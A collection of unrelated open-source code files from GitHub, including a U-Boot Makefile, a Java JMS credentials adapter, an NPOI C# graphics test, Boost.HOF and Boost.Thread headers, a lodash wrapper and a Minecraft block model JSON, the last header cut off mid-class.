# SPDX-License-Identifier: GPL-2.0+
#
# (C) Copyright 2017
# Mario Six, Guntermann & Drunck GmbH, mario.six@gdsys.cc
#
obj-$(CONFIG_AXI) += axi-uclass.o
obj-$(CONFIG_IHS_AXI) += ihs_axi.o
obj-$(CONFIG_SANDBOX) += axi-emul-uclass.o
obj-$(CONFIG_SANDBOX) += sandbox_store.o
obj-$(CONFIG_AXI_SANDBOX) += axi_sandbox.o
| {
"pile_set_name": "Github"
} |
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.cxf.transport.jms.util;
import javax.jms.Connection;
import javax.jms.ConnectionFactory;
import javax.jms.JMSException;
public class UserCredentialsConnectionFactoryAdapter implements ConnectionFactory {
private String userName;
private String password;
private ConnectionFactory targetConnectionFactory;
public void setUsername(String userName2) {
this.userName = userName2;
}
public void setPassword(String password2) {
this.password = password2;
}
public void setTargetConnectionFactory(ConnectionFactory cf) {
this.targetConnectionFactory = cf;
}
@Override
public Connection createConnection() throws JMSException {
return createConnection(userName, password);
}
@Override
public Connection createConnection(String userName2, String password2) throws JMSException {
return targetConnectionFactory.createConnection(userName2, password2);
}
}
| {
"pile_set_name": "Github"
} |
/* ====================================================================
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for Additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==================================================================== */
namespace TestCases.HSSF.UserModel
{
using System;
using System.IO;
using System.Drawing;
using System.Drawing.Drawing2D;
using NPOI.HSSF.UserModel;
using NPOI.SS.UserModel;
using NUnit.Framework;
/**
* Tests the capabilities of the EscherGraphics class.
*
* All Tests have two escher groups available to them,
* one anchored at 0,0,1022,255 and another anchored
* at 20,30,500,200
*
* @author Glen Stampoultzis (glens at apache.org)
*/
[TestFixture]
public class TestEscherGraphics
{
private HSSFWorkbook workbook;
private HSSFPatriarch patriarch;
private HSSFShapeGroup escherGroupA;
private HSSFShapeGroup escherGroupB;
private EscherGraphics graphics;
[SetUp]
public void SetUp()
{
System.Threading.Thread.CurrentThread.CurrentCulture = System.Globalization.CultureInfo.CreateSpecificCulture("en-US");
workbook = new HSSFWorkbook();
NPOI.SS.UserModel.ISheet sheet = workbook.CreateSheet("Test");
patriarch = (HSSFPatriarch)sheet.CreateDrawingPatriarch();
escherGroupA = patriarch.CreateGroup(new HSSFClientAnchor(0, 0, 1022, 255, (short)0, 0, (short)0, 0));
escherGroupB = patriarch.CreateGroup(new HSSFClientAnchor(20, 30, 500, 200, (short)0, 0, (short)0, 0));
// escherGroup = new HSSFShapeGroup(null, new HSSFChildAnchor());
graphics = new EscherGraphics(this.escherGroupA, workbook, Color.Black, 1.0f);
}
[Test]
public void TestGetFont()
{
Font f = graphics.Font;
if (f.ToString().IndexOf("dialog") == -1 && f.ToString().IndexOf("Dialog") == -1)
{
//Assert.AreEqual("java.awt.Font[family=Arial,name=Arial,style=plain,size=10]", f.ToString());
Assert.AreEqual("[Font: Name=Arial, Size=10, Units=3, GdiCharSet=1, GdiVerticalFont=False]", f.ToString());
}
}
[Test]
public void TestSetFont()
{
Font f = new Font("Helvetica", 12,FontStyle.Regular);
graphics.SetFont(f);
Assert.AreEqual(f, graphics.Font);
}
[Test]
public void TestSetColor()
{
graphics.SetColor(Color.Red);
Assert.AreEqual(Color.Red, graphics.Color);
}
[Test]
public void TestFillRect()
{
graphics.FillRect(10, 10, 20, 20);
HSSFSimpleShape s = (HSSFSimpleShape)escherGroupA.Children[0];
Assert.AreEqual(HSSFSimpleShape.OBJECT_TYPE_RECTANGLE, s.ShapeType);
Assert.AreEqual(10, s.Anchor.Dx1);
Assert.AreEqual(10, s.Anchor.Dy1);
Assert.AreEqual(30, s.Anchor.Dy2);
Assert.AreEqual(30, s.Anchor.Dx2);
}
[Test]
public void TestDrawString()
{
graphics.DrawString("This is a Test", 10, 10);
HSSFTextbox t = (HSSFTextbox)escherGroupA.Children[0];
Assert.AreEqual("This is a Test", t.String.String);
}
[Test]
public void TestGetDataBackAgain()
{
HSSFSheet s;
HSSFShapeGroup s1;
HSSFShapeGroup s2;
patriarch.SetCoordinates(10, 20, 30, 40);
MemoryStream baos = new MemoryStream();
workbook.Write(baos);
workbook = new HSSFWorkbook(new MemoryStream(baos.ToArray()));
s = (HSSFSheet)workbook.GetSheetAt(0);
patriarch = (HSSFPatriarch)s.DrawingPatriarch;
Assert.IsNotNull(patriarch);
Assert.AreEqual(10, patriarch.X1);
Assert.AreEqual(20, patriarch.Y1);
Assert.AreEqual(30, patriarch.X2);
Assert.AreEqual(40, patriarch.Y2);
// Check the two groups too
Assert.AreEqual(2, patriarch.CountOfAllChildren);
Assert.IsTrue(patriarch.Children[0] is HSSFShapeGroup);
Assert.IsTrue(patriarch.Children[1] is HSSFShapeGroup);
s1 = (HSSFShapeGroup)patriarch.Children[0];
s2 = (HSSFShapeGroup)patriarch.Children[1];
Assert.AreEqual(0, s1.X1);
Assert.AreEqual(0, s1.Y1);
Assert.AreEqual(1023, s1.X2);
Assert.AreEqual(255, s1.Y2);
Assert.AreEqual(0, s2.X1);
Assert.AreEqual(0, s2.Y1);
Assert.AreEqual(1023, s2.X2);
Assert.AreEqual(255, s2.Y2);
Assert.AreEqual(0, s1.Anchor.Dx1);
Assert.AreEqual(0, s1.Anchor.Dy1);
Assert.AreEqual(1022, s1.Anchor.Dx2);
Assert.AreEqual(255, s1.Anchor.Dy2);
Assert.AreEqual(20, s2.Anchor.Dx1);
Assert.AreEqual(30, s2.Anchor.Dy1);
Assert.AreEqual(500, s2.Anchor.Dx2);
Assert.AreEqual(200, s2.Anchor.Dy2);
// Write and re-load once more, to Check that's ok
baos = new MemoryStream();
workbook.Write(baos);
workbook = new HSSFWorkbook(new MemoryStream(baos.ToArray()));
s = (HSSFSheet)workbook.GetSheetAt(0);
patriarch = (HSSFPatriarch)s.DrawingPatriarch;
Assert.IsNotNull(patriarch);
Assert.AreEqual(10, patriarch.X1);
Assert.AreEqual(20, patriarch.Y1);
Assert.AreEqual(30, patriarch.X2);
Assert.AreEqual(40, patriarch.Y2);
// Check the two groups too
Assert.AreEqual(2, patriarch.CountOfAllChildren);
Assert.IsTrue(patriarch.Children[0] is HSSFShapeGroup);
Assert.IsTrue(patriarch.Children[1] is HSSFShapeGroup);
s1 = (HSSFShapeGroup)patriarch.Children[0];
s2 = (HSSFShapeGroup)patriarch.Children[1];
Assert.AreEqual(0, s1.X1);
Assert.AreEqual(0, s1.Y1);
Assert.AreEqual(1023, s1.X2);
Assert.AreEqual(255, s1.Y2);
Assert.AreEqual(0, s2.X1);
Assert.AreEqual(0, s2.Y1);
Assert.AreEqual(1023, s2.X2);
Assert.AreEqual(255, s2.Y2);
Assert.AreEqual(0, s1.Anchor.Dx1);
Assert.AreEqual(0, s1.Anchor.Dy1);
Assert.AreEqual(1022, s1.Anchor.Dx2);
Assert.AreEqual(255, s1.Anchor.Dy2);
Assert.AreEqual(20, s2.Anchor.Dx1);
Assert.AreEqual(30, s2.Anchor.Dy1);
Assert.AreEqual(500, s2.Anchor.Dx2);
Assert.AreEqual(200, s2.Anchor.Dy2);
// Change the positions of the first groups,
// but not of their anchors
s1.SetCoordinates(2, 3, 1021, 242);
baos = new MemoryStream();
workbook.Write(baos);
workbook = new HSSFWorkbook(new MemoryStream(baos.ToArray()));
s =(HSSFSheet)workbook.GetSheetAt(0);
patriarch = (HSSFPatriarch)s.DrawingPatriarch;
Assert.IsNotNull(patriarch);
Assert.AreEqual(10, patriarch.X1);
Assert.AreEqual(20, patriarch.Y1);
Assert.AreEqual(30, patriarch.X2);
Assert.AreEqual(40, patriarch.Y2);
// Check the two groups too
Assert.AreEqual(2, patriarch.CountOfAllChildren);
Assert.AreEqual(2, patriarch.Children.Count);
Assert.IsTrue(patriarch.Children[0] is HSSFShapeGroup);
Assert.IsTrue(patriarch.Children[1] is HSSFShapeGroup);
s1 = (HSSFShapeGroup)patriarch.Children[0];
s2 = (HSSFShapeGroup)patriarch.Children[1];
Assert.AreEqual(2, s1.X1);
Assert.AreEqual(3, s1.Y1);
Assert.AreEqual(1021, s1.X2);
Assert.AreEqual(242, s1.Y2);
Assert.AreEqual(0, s2.X1);
Assert.AreEqual(0, s2.Y1);
Assert.AreEqual(1023, s2.X2);
Assert.AreEqual(255, s2.Y2);
Assert.AreEqual(0, s1.Anchor.Dx1);
Assert.AreEqual(0, s1.Anchor.Dy1);
Assert.AreEqual(1022, s1.Anchor.Dx2);
Assert.AreEqual(255, s1.Anchor.Dy2);
Assert.AreEqual(20, s2.Anchor.Dx1);
Assert.AreEqual(30, s2.Anchor.Dy1);
Assert.AreEqual(500, s2.Anchor.Dx2);
Assert.AreEqual(200, s2.Anchor.Dy2);
// Now Add some text to one group, and some more
// to the base, and Check we can get it back again
HSSFTextbox tbox1 =
patriarch.CreateTextbox(new HSSFClientAnchor(1, 2, 3, 4, (short)0, 0, (short)0, 0)) as HSSFTextbox;
tbox1.String = (new HSSFRichTextString("I am text box 1"));
HSSFTextbox tbox2 =
s2.CreateTextbox(new HSSFChildAnchor(41, 42, 43, 44)) as HSSFTextbox;
tbox2.String = (new HSSFRichTextString("This is text box 2"));
Assert.AreEqual(3, patriarch.Children.Count);
baos = new MemoryStream();
workbook.Write(baos);
workbook = new HSSFWorkbook(new MemoryStream(baos.ToArray()));
s = (HSSFSheet)workbook.GetSheetAt(0);
patriarch = (HSSFPatriarch)s.DrawingPatriarch;
Assert.IsNotNull(patriarch);
Assert.AreEqual(10, patriarch.X1);
Assert.AreEqual(20, patriarch.Y1);
Assert.AreEqual(30, patriarch.X2);
Assert.AreEqual(40, patriarch.Y2);
// Check the two groups and the text
// Result of patriarch.countOfAllChildren() makes no sense:
// Returns 4 for 2 empty groups + 1 TextBox.
//Assert.AreEqual(3, patriarch.CountOfAllChildren);
Assert.AreEqual(3, patriarch.Children.Count);
// Should be two groups and a text
Assert.IsTrue(patriarch.Children[0] is HSSFShapeGroup);
Assert.IsTrue(patriarch.Children[1] is HSSFShapeGroup);
Assert.IsTrue(patriarch.Children[2] is HSSFTextbox);
s1 = (HSSFShapeGroup)patriarch.Children[0];
tbox1 = (HSSFTextbox)patriarch.Children[2];
s2 = (HSSFShapeGroup)patriarch.Children[1];
Assert.AreEqual(2, s1.X1);
Assert.AreEqual(3, s1.Y1);
Assert.AreEqual(1021, s1.X2);
Assert.AreEqual(242, s1.Y2);
Assert.AreEqual(0, s2.X1);
Assert.AreEqual(0, s2.Y1);
Assert.AreEqual(1023, s2.X2);
Assert.AreEqual(255, s2.Y2);
Assert.AreEqual(0, s1.Anchor.Dx1);
Assert.AreEqual(0, s1.Anchor.Dy1);
Assert.AreEqual(1022, s1.Anchor.Dx2);
Assert.AreEqual(255, s1.Anchor.Dy2);
Assert.AreEqual(20, s2.Anchor.Dx1);
Assert.AreEqual(30, s2.Anchor.Dy1);
Assert.AreEqual(500, s2.Anchor.Dx2);
Assert.AreEqual(200, s2.Anchor.Dy2);
// Not working just yet
//Assert.AreEqual("I am text box 1", tbox1.String.String);
}
}
} | {
"pile_set_name": "Github"
} |
05e61ef0e96d6442ea5a19363b1694b9eaf9bbd1
| {
"pile_set_name": "Github"
} |
var convert = require('./convert'),
func = convert('isBuffer', require('../isBuffer'), require('./_falseOptions'));
func.placeholder = require('./placeholder');
module.exports = func;
| {
"pile_set_name": "Github"
} |
/*=============================================================================
Copyright (c) 2012 Paul Fultz II
partial.h
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
==============================================================================*/
#ifndef BOOST_HOF_GUARD_FUNCTION_PARTIAL_H
#define BOOST_HOF_GUARD_FUNCTION_PARTIAL_H
/// partial
/// ========
///
/// Description
/// -----------
///
/// The `partial` function adaptor allows partial application of the function.
/// If the function can not be called with all the parameters, it will return
/// another function. It will repeatedly do this until the function can
/// finally be called. By default, `partial` captures all of its variables by
/// value, just like bind. As such all parameters must be `MoveConstructible`
/// when the function is aprtial application. `std::ref` can be used to
/// capture references instead.
///
/// Synopsis
/// --------
///
/// template<class F>
/// constexpr partial_adaptor<F> partial(F f);
///
/// Semantics
/// ---------
///
/// assert(partial(f)(xs...)(ys...) == f(xs..., ys...));
///
/// Requirements
/// ------------
///
/// F must be:
///
/// * [ConstInvocable](ConstInvocable)
/// * MoveConstructible
///
/// Example
/// -------
///
/// #include <boost/hof.hpp>
/// #include <cassert>
/// using namespace boost::hof;
///
/// struct sum
/// {
/// template<class T, class U>
/// T operator()(T x, U y) const
/// {
/// return x+y;
/// }
/// };
///
/// int main() {
/// assert(3 == partial(sum())(1)(2));
/// }
///
/// References
/// ----------
///
/// * [Partial application](https://en.wikipedia.org/wiki/Partial_application)
/// * [Currying](https://en.wikipedia.org/wiki/Currying)
///
#include <boost/hof/first_of.hpp>
#include <boost/hof/static.hpp>
#include <boost/hof/pipable.hpp>
#include <boost/hof/detail/make.hpp>
#include <boost/hof/detail/static_const_var.hpp>
namespace boost { namespace hof {
// TODO: Get rid of sequence parameter
// Forward declare partial_adaptor, since it will be used below
template<class F, class Pack=void >
struct partial_adaptor;
BOOST_HOF_DECLARE_STATIC_VAR(partial, detail::make<partial_adaptor>);
namespace detail {
template<class Derived, class F, class Pack>
struct partial_adaptor_invoke
{
template<class... Ts>
constexpr const F& get_function(Ts&&...) const noexcept
{
return static_cast<const F&>(static_cast<const Derived&>(*this));
}
template<class... Ts>
constexpr const Pack& get_pack(Ts&&...) const noexcept
{
return static_cast<const Pack&>(static_cast<const Derived&>(*this));
}
BOOST_HOF_RETURNS_CLASS(partial_adaptor_invoke);
template<class... Ts>
constexpr BOOST_HOF_SFINAE_RESULT
(
typename result_of<decltype(boost::hof::pack_join),
id_<const Pack&>,
result_of<decltype(boost::hof::pack_forward), id_<Ts>...>
>::type,
id_<F&&>
)
operator()(Ts&&... xs) const BOOST_HOF_SFINAE_RETURNS
(
boost::hof::pack_join
(
BOOST_HOF_MANGLE_CAST(const Pack&)(BOOST_HOF_CONST_THIS->get_pack(xs...)),
boost::hof::pack_forward(BOOST_HOF_FORWARD(Ts)(xs)...)
)
(BOOST_HOF_RETURNS_C_CAST(F&&)(BOOST_HOF_CONST_THIS->get_function(xs...)))
);
};
#ifdef _MSC_VER
#define BOOST_HOF_PARTIAL_RETURNS(...) -> decltype(__VA_ARGS__) { return (__VA_ARGS__); }
#else
#define BOOST_HOF_PARTIAL_RETURNS BOOST_HOF_SFINAE_RETURNS
#endif
template<class Derived, class F, class Pack>
struct partial_adaptor_join
{
template<class... Ts>
constexpr const F& get_function(Ts&&...) const noexcept
{
return static_cast<const F&>(static_cast<const Derived&>(*this));
}
template<class... Ts>
constexpr const Pack& get_pack(Ts&&...) const noexcept
{
return static_cast<const Pack&>(static_cast<const Derived&>(*this));
}
BOOST_HOF_RETURNS_CLASS(partial_adaptor_join);
template<class... Ts, class=typename std::enable_if<
((sizeof...(Ts) + Pack::fit_function_param_limit::value) < function_param_limit<F>::value)
>::type>
constexpr auto operator()(Ts&&... xs) const
#ifdef _MSC_VER
// Workaround ICE on MSVC
noexcept(BOOST_HOF_IS_NOTHROW_CONSTRUCTIBLE(F, F&&) && noexcept(boost::hof::pack_join(std::declval<const Pack&>(), boost::hof::pack(BOOST_HOF_FORWARD(Ts)(xs)...))))
#endif
BOOST_HOF_PARTIAL_RETURNS
(
boost::hof::partial
(
BOOST_HOF_RETURNS_C_CAST(F&&)(BOOST_HOF_CONST_THIS->get_function(xs...)),
boost::hof::pack_join(BOOST_HOF_MANGLE_CAST(const Pack&)(BOOST_HOF_CONST_THIS->get_pack(xs...)), boost::hof::pack(BOOST_HOF_FORWARD(Ts)(xs)...))
)
);
};
template<class Derived, class F>
struct partial_adaptor_pack
{
constexpr partial_adaptor_pack() noexcept
{}
template<class... Ts>
constexpr const F& get_function(Ts&&...) const noexcept
{
return static_cast<const F&>(static_cast<const Derived&>(*this));
}
BOOST_HOF_RETURNS_CLASS(partial_adaptor_pack);
template<class... Ts, class=typename std::enable_if<
(sizeof...(Ts) < function_param_limit<F>::value)
>::type>
constexpr auto operator()(Ts&&... xs) const
#ifdef _MSC_VER
// Workaround ICE on MSVC
noexcept(BOOST_HOF_IS_NOTHROW_CONSTRUCTIBLE(F, F&&) && noexcept(boost::hof::pack(BOOST_HOF_FORWARD(Ts)(xs)...)))
#endif
BOOST_HOF_PARTIAL_RETURNS
(
boost::hof::partial
(
BOOST_HOF_RETURNS_C_CAST(F&&)(BOOST_HOF_CONST_THIS->get_function(xs...)),
boost::hof::pack(BOOST_HOF_FORWARD(Ts)(xs)...)
)
);
};
template<class F, class Pack>
struct partial_adaptor_base
{
typedef basic_first_of_adaptor
<
partial_adaptor_invoke<partial_adaptor<F, Pack>, F, Pack>,
partial_adaptor_join<partial_adaptor<F, Pack>, F, Pack>
> type;
};
template<class Derived, class F>
struct partial_adaptor_pack_base
{
typedef basic_first_of_adaptor
<
F,
partial_adaptor_pack<Derived, F>
> type;
};
}
template<class F, class Pack>
struct partial_adaptor : detail::partial_adaptor_base<F, Pack>::type, F, Pack
{
typedef typename detail::partial_adaptor_base<F, Pack>::type base;
typedef partial_adaptor fit_rewritable1_tag;
template<class... Ts>
constexpr const F& base_function(Ts&&...) const noexcept
{
return *this;
}
constexpr const Pack& get_pack() const noexcept
{
return *this;
}
using base::operator();
BOOST_HOF_INHERIT_DEFAULT(partial_adaptor, base, F, Pack);
template<class X, class S>
constexpr partial_adaptor(X&& x, S&& seq)
BOOST_HOF_NOEXCEPT(BOOST_HOF_IS_NOTHROW_CONSTRUCTIBLE(F, X&&) && BOOST_HOF_IS_NOTHROW_CONSTRUCTIBLE(Pack, S&&))
: F(BOOST_HOF_FORWARD(X)(x)), Pack(BOOST_HOF_FORWARD(S)(seq))
{}
};
template<class F>
struct partial_adaptor<F, void> : detail::partial_adaptor_pack_base<partial_adaptor<F, void>, detail::callable_base<F>>::type
{
typedef typename detail::partial_adaptor_pack_base<partial_adaptor<F, void>, detail::callable_base<F>>::type base;
typedef partial_adaptor fit_rewritable1_tag;
template<class... Ts>
constexpr const detail::callable_base<F>& base_function(Ts&&...) const noexcept
{
return *this;
}
using base::operator();
BOOST_HOF_INHERIT_CONSTRUCTOR(partial_adaptor, base);
};
// Make partial_adaptor work with pipable_adaptor by removing its pipableness
template<class F>
struct partial_adaptor<pipable_adaptor<F>, void>
: partial_adaptor<F, void>
{
typedef partial_adaptor<F, void> base;
typedef partial_adaptor fit_rewritable1_tag;
BOOST_HOF_INHERIT_CONSTRUCTOR(partial_adaptor, base);
};
template<class F>
struct partial_adaptor<static_<pipable_adaptor<F>>, void>
: partial_adaptor<F, void>
{
typedef partial_adaptor<F, void> base;
typedef partial_adaptor fit_rewritable1_tag;
BOOST_HOF_INHERIT_CONSTRUCTOR(partial_adaptor, base);
};
}} // namespace boost::hof
#endif
| {
"pile_set_name": "Github"
} |
{
"parent": "refinedstorage:block/cube_north_cutout",
"textures": {
"particle": "refinedstorage:block/crafting_monitor/right",
"east": "refinedstorage:block/crafting_monitor/right",
"south": "refinedstorage:block/crafting_monitor/back",
"west": "refinedstorage:block/crafting_monitor/left",
"up": "refinedstorage:block/crafting_monitor/top",
"down": "refinedstorage:block/bottom",
"north": "refinedstorage:block/crafting_monitor/front",
"cutout": "refinedstorage:block/crafting_monitor/cutouts/gray"
}
} | {
"pile_set_name": "Github"
} |
#ifndef BOOST_THREAD_CONDITION_VARIABLE_WIN32_HPP
#define BOOST_THREAD_CONDITION_VARIABLE_WIN32_HPP
// Distributed under the Boost Software License, Version 1.0. (See
// accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
// (C) Copyright 2007-8 Anthony Williams
// (C) Copyright 2011-2012 Vicente J. Botet Escriba
#include <boost/thread/win32/thread_primitives.hpp>
#include <boost/thread/win32/thread_data.hpp>
#include <boost/thread/win32/thread_data.hpp>
#include <boost/thread/win32/interlocked_read.hpp>
#include <boost/thread/cv_status.hpp>
#if defined BOOST_THREAD_USES_DATETIME
#include <boost/thread/xtime.hpp>
#endif
#include <boost/thread/mutex.hpp>
#include <boost/thread/thread_time.hpp>
#include <boost/thread/lock_guard.hpp>
#include <boost/thread/lock_types.hpp>
#include <boost/assert.hpp>
#include <boost/intrusive_ptr.hpp>
#ifdef BOOST_THREAD_USES_CHRONO
#include <boost/chrono/system_clocks.hpp>
#include <boost/chrono/ceil.hpp>
#endif
#include <limits.h>
#include <algorithm>
#include <vector>
#include <boost/config/abi_prefix.hpp>
namespace boost
{
namespace detail
{
class basic_cv_list_entry;
void intrusive_ptr_add_ref(basic_cv_list_entry * p);
void intrusive_ptr_release(basic_cv_list_entry * p);
class basic_cv_list_entry
{
private:
detail::win32::handle_manager semaphore;
detail::win32::handle_manager wake_sem;
long waiters;
bool notified;
long references;
public:
BOOST_THREAD_NO_COPYABLE(basic_cv_list_entry)
explicit basic_cv_list_entry(detail::win32::handle_manager const& wake_sem_):
semaphore(detail::win32::create_anonymous_semaphore(0,LONG_MAX)),
wake_sem(wake_sem_.duplicate()),
waiters(1),notified(false),references(0)
{}
static bool no_waiters(boost::intrusive_ptr<basic_cv_list_entry> const& entry)
{
return !detail::interlocked_read_acquire(&entry->waiters);
}
void add_waiter()
{
BOOST_INTERLOCKED_INCREMENT(&waiters);
}
void remove_waiter()
{
BOOST_INTERLOCKED_DECREMENT(&waiters);
}
void release(unsigned count_to_release)
{
notified=true;
detail::win32::ReleaseSemaphore(semaphore,count_to_release,0);
}
void release_waiters()
{
release(detail::interlocked_read_acquire(&waiters));
}
bool is_notified() const
{
return notified;
}
bool wait(timeout abs_time)
{
return this_thread::interruptible_wait(semaphore,abs_time);
}
bool woken()
{
unsigned long const woken_result=detail::win32::WaitForSingleObjectEx(wake_sem,0,0);
BOOST_ASSERT((woken_result==detail::win32::timeout) || (woken_result==0));
return woken_result==0;
}
friend void intrusive_ptr_add_ref(basic_cv_list_entry * p);
friend void intrusive_ptr_release(basic_cv_list_entry * p);
};
inline void intrusive_ptr_add_ref(basic_cv_list_entry * p)
{
BOOST_INTERLOCKED_INCREMENT(&p->references);
}
inline void intrusive_ptr_release(basic_cv_list_entry * p)
{
if(!BOOST_INTERLOCKED_DECREMENT(&p->references))
{
delete p;
}
}
class basic_condition_variable
{
boost::mutex internal_mutex;
long total_count;
unsigned active_generation_count;
typedef basic_cv_list_entry list_entry;
typedef boost::intrusive_ptr<list_entry> entry_ptr;
typedef std::vector<entry_ptr> generation_list;
generation_list generations;
detail::win32::handle_manager wake_sem;
void wake_waiters(long count_to_wake)
{
detail::interlocked_write_release(&total_count,total_count-count_to_wake);
detail::win32::ReleaseSemaphore(wake_sem,count_to_wake,0);
}
template<typename lock_type>
struct relocker
{
BOOST_THREAD_NO_COPYABLE(relocker)
lock_type& lock;
bool unlocked;
relocker(lock_type& lock_):
lock(lock_),unlocked(false)
{}
void unlock()
{
lock.unlock();
unlocked=true;
}
~relocker()
{
if(unlocked)
{
lock.lock();
}
}
};
entry_ptr get_wait_entry()
{
boost::lock_guard<boost::mutex> internal_lock(internal_mutex);
if(!wake_sem)
{
wake_sem=detail::win32::create_anonymous_semaphore(0,LONG_MAX);
BOOST_ASSERT(wake_sem);
}
detail::interlocked_write_release(&total_count,total_count+1);
if(generations.empty() || generations.back()->is_notified())
{
entry_ptr new_entry(new list_entry(wake_sem));
generations.push_back(new_entry);
return new_entry;
}
else
{
generations.back()->add_waiter();
return generations.back();
}
}
struct entry_manager
{
entry_ptr const entry;
boost::mutex& internal_mutex;
BOOST_THREAD_NO_COPYABLE(entry_manager)
entry_manager(entry_ptr const& entry_, boost::mutex& mutex_):
entry(entry_), internal_mutex(mutex_)
{}
~entry_manager()
{
boost::lock_guard<boost::mutex> internal_lock(internal_mutex);
entry->remove_waiter();
}
list_entry* operator->()
{
return entry.get();
}
};
protected:
template<typename lock_type>
bool do_wait(lock_type& lock,timeout abs_time)
{
relocker<lock_type> locker(lock);
entry_manager entry(get_wait_entry(), internal_mutex);
locker.unlock();
bool woken=false;
while(!woken)
{
if(!entry->wait(abs_time))
{
return false;
}
woken=entry->woken();
}
return woken;
}
template<typename lock_type,typename predicate_type>
bool do_wait(lock_type& m,timeout const& abs_time,predicate_type pred)
{
while (!pred())
{
if(!do_wait(m, abs_time))
return pred();
}
return true;
}
basic_condition_variable(const basic_condition_variable& other);
basic_condition_variable& operator=(const basic_condition_variable& other);
public:
basic_condition_variable():
total_count(0),active_generation_count(0),wake_sem(0)
{}
~basic_condition_variable()
{}
void notify_one() BOOST_NOEXCEPT
{
if(detail::interlocked_read_acquire(&total_count))
{
boost::lock_guard<boost::mutex> internal_lock(internal_mutex);
if(!total_count)
{
return;
}
wake_waiters(1);
for(generation_list::iterator it=generations.begin(),
end=generations.end();
it!=end;++it)
{
(*it)->release(1);
}
generations.erase(std::remove_if(generations.begin(),generations.end(),&basic_cv_list_entry::no_waiters),generations.end());
}
}
void notify_all() BOOST_NOEXCEPT
{
if(detail::interlocked_read_acquire(&total_count))
{
boost::lock_guard<boost::mutex> internal_lock(internal_mutex);
if(!total_count)
{
return;
}
wake_waiters(total_count);
for(generation_list::iterator it=generations.begin(),
end=generations.end();
it!=end;++it)
{
(*it)->release_waiters();
}
generations.clear();
wake_sem=detail::win32::handle(0);
}
}
};
}
class condition_variable:
private detail::basic_condition_variable
{
public:
BOOST_THREAD_NO_COPYABLE(condition_variable)
condition_variable()
{}
using detail::basic_condition_variable::notify_one;
using detail::basic_condition_variable::notify_all;
void wait(unique_lock<mutex>& m)
{
do_wait(m,detail::timeout::sentinel());
}
template<typename predicate_type>
void wait(unique_lock<mutex>& m,predicate_type pred)
{
while(!pred()) wait(m);
}
#if defined BOOST_THREAD_USES_DATETIME
bool timed_wait(unique_lock<mutex>& m,boost::system_time const& abs_time)
{
return do_wait(m,abs_time);
}
bool timed_wait(unique_lock<mutex>& m,boost::xtime const& abs_time)
{
return do_wait(m,system_time(abs_time));
}
template<typename duration_type>
bool timed_wait(unique_lock<mutex>& m,duration_type const& wait_duration)
{
if (wait_duration.is_pos_infinity())
{
wait(m); // or do_wait(m,detail::timeout::sentinel());
return true;
}
if (wait_duration.is_special())
{
return true;
}
return do_wait(m,wait_duration.total_milliseconds());
}
template<typename predicate_type>
bool timed_wait(unique_lock<mutex>& m,boost::system_time const& abs_time,predicate_type pred)
{
return do_wait(m,abs_time,pred);
}
template<typename predicate_type>
bool timed_wait(unique_lock<mutex>& m,boost::xtime const& abs_time,predicate_type pred)
{
return do_wait(m,system_time(abs_time),pred);
}
template<typename duration_type,typename predicate_type>
bool timed_wait(unique_lock<mutex>& m,duration_type const& wait_duration,predicate_type pred)
{
if (wait_duration.is_pos_infinity())
{
while (!pred())
{
wait(m); // or do_wait(m,detail::timeout::sentinel());
}
return true;
}
if (wait_duration.is_special())
{
return pred();
}
return do_wait(m,wait_duration.total_milliseconds(),pred);
}
#endif
#ifdef BOOST_THREAD_USES_CHRONO
template <class Clock, class Duration>
cv_status
wait_until(
unique_lock<mutex>& lock,
const chrono::time_point<Clock, Duration>& t)
{
using namespace chrono;
chrono::time_point<Clock, Duration> now = Clock::now();
if (t<=now) {
return cv_status::timeout;
}
do_wait(lock, ceil<milliseconds>(t-now).count());
return Clock::now() < t ? cv_status::no_timeout :
cv_status::timeout;
}
template <class Rep, class Period>
cv_status
wait_for(
unique_lock<mutex>& lock,
const chrono::duration<Rep, Period>& d)
{
using namespace chrono;
if (d<=chrono::duration<Rep, Period>::zero()) {
return cv_status::timeout;
}
steady_clock::time_point c_now = steady_clock::now();
do_wait(lock, ceil<milliseconds>(d).count());
return steady_clock::now() - c_now < d ? cv_status::no_timeout :
cv_status::timeout;
}
template <class Clock, class Duration, class Predicate>
bool
wait_until(
unique_lock<mutex>& lock,
const chrono::time_point<Clock, Duration>& t,
Predicate pred)
{
while (!pred())
{
if (wait_until(lock, t) == cv_status::timeout)
return pred();
}
return true;
}
template <class Rep, class Period, class Predicate>
bool
wait_for(
unique_lock<mutex>& lock,
const chrono::duration<Rep, Period>& d,
Predicate pred)
{
return wait_until(lock, chrono::steady_clock::now() + d, boost::move(pred));
}
#endif
};
class condition_variable_any:
private detail::basic_condition_variable
{
public:
BOOST_THREAD_NO_COPYABLE(condition_variable_any)
condition_variable_any()
{}
using detail::basic_condition_variable::notify_one;
using detail::basic_condition_variable::notify_all;
template<typename lock_type>
void wait(lock_type& m)
{
do_wait(m,detail::timeout::sentinel());
}
template<typename lock_type,typename predicate_type>
void wait(lock_type& m,predicate_type pred)
{
while(!pred()) wait(m);
}
#if defined BOOST_THREAD_USES_DATETIME
template<typename lock_type>
bool timed_wait(lock_type& m,boost::system_time const& abs_time)
{
return do_wait(m,abs_time);
}
template<typename lock_type>
bool timed_wait(lock_type& m,boost::xtime const& abs_time)
{
return do_wait(m,system_time(abs_time));
}
template<typename lock_type,typename duration_type>
